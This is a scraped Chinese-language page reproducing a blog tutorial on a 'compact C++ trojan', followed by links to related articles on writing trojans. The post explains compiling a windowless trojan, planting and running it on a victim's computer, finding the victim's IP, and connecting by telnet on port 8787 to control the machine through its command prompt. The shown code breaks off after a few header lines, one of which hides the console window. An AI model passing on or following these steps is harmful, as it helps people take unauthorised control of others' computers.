一隻精簡的C++木馬 - 歐維斯福利設
文章推薦指數: 80 %
如上圖,那個「IPv4位址」就是IP(此範例是192.168.43.138),就緒後,在你的電腦打「telnet 對方IP Port」Port是你在程式碼中宣告的端口號(我用8787),如果沒有telnet的話( ...
facebook
Email
歐維斯福利設
AlwaysSecurityBlog
木馬程式病毒程式設計駭客教學C語言C語言病毒C語言範例Windows
一隻精簡的C++木馬
by
LBT
-晚上11:49
這邊跟各位介紹一個很簡單的木馬,能用來操控遠端電腦的命令提示字元,雖然說簡單,不過有用到一些較進階的函式庫和進階的記憶體技巧。
這隻馬用VC編譯後就會產生一個執行黨,執行時無任何視窗顯示,接下來,參考這篇文章:【C++】如何發行VC程式?
並根據此文打包好木馬後,將馬放到要害的人的電腦上,並執行,接著找到他的IP。
我提供一種辦法來尋找IP,在被害人的電腦上開啟CMD,並輸入ipconfig:
如上圖,那個「IPv4位址」就是IP(此範例是192.168.43.138),就緒後,在你的電腦打「telnet對方IPPort」Port是你在程式碼中宣告的端口號(我用8787),如果沒有telnet的話(出現「'telnet'不是內部或外部命令、可執行的程式或批次檔。
」),請到控制台->程式集->程式和功能:
點「開啟或關閉Windows功能」並把「Telnet用戶端勾選起來」:
按下確定即可。
連上之後,你就可以輸入CMD命令了,幾乎可以控制對方整台電腦,不會CMD的讀者,請參考這篇文章:最詳盡的CMD命令大全
好啦,程式碼就貼出來:
//horse.cpp:定義主控台應用程式的進入點。
//
#include"stdafx.h"
#pragmacomment(lib,"ws2_32.lib")
#pragmacomment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"")
#include
延伸文章資訊
- 1如何編寫木馬程序? - 雅瑪知識
如果你想幹壞事,嘻嘻,木馬也不是那麼好寫的,首先你要成為一個出色的程序員,不僅要打好C語言基礎,更要精通匯編語言和計算機硬件以及操作系統原理, ...
- 2特洛伊木馬病毒程式設計(加強版):使用Python - 博客來
書名:特洛伊木馬病毒程式設計(加強版):使用Python,語言:繁體中文,ISBN:9789864343638,頁數:288,出版社:博碩,作者:北極星,出版日期:2018/12/26, ...
- 3一隻精簡的C++木馬 - 歐維斯福利設
如上圖,那個「IPv4位址」就是IP(此範例是192.168.43.138),就緒後,在你的電腦打「telnet 對方IP Port」Port是你在程式碼中宣告的端口號(我用8787),如果沒有...
- 4開放原始碼軟體如何變成木馬程式?如何成目標式攻擊武器?
趨勢科技在分析一起資安事件時發現了一個名為「notepad.exe」的檔案相當可疑。因為,大家都知道notepad.exe 是Windows 系統內建的「筆記本」程式,而有些 ...
- 5木馬是如何編寫的 - 史萊姆論壇
KERNEL32.DLL中的鳥函數了。 ... 管理器可以對當繼續程一覽無餘,因此沒必要在WinNt下也使用以上程式碼(不過你可以使用其他的方法, 這個留到後面再講)。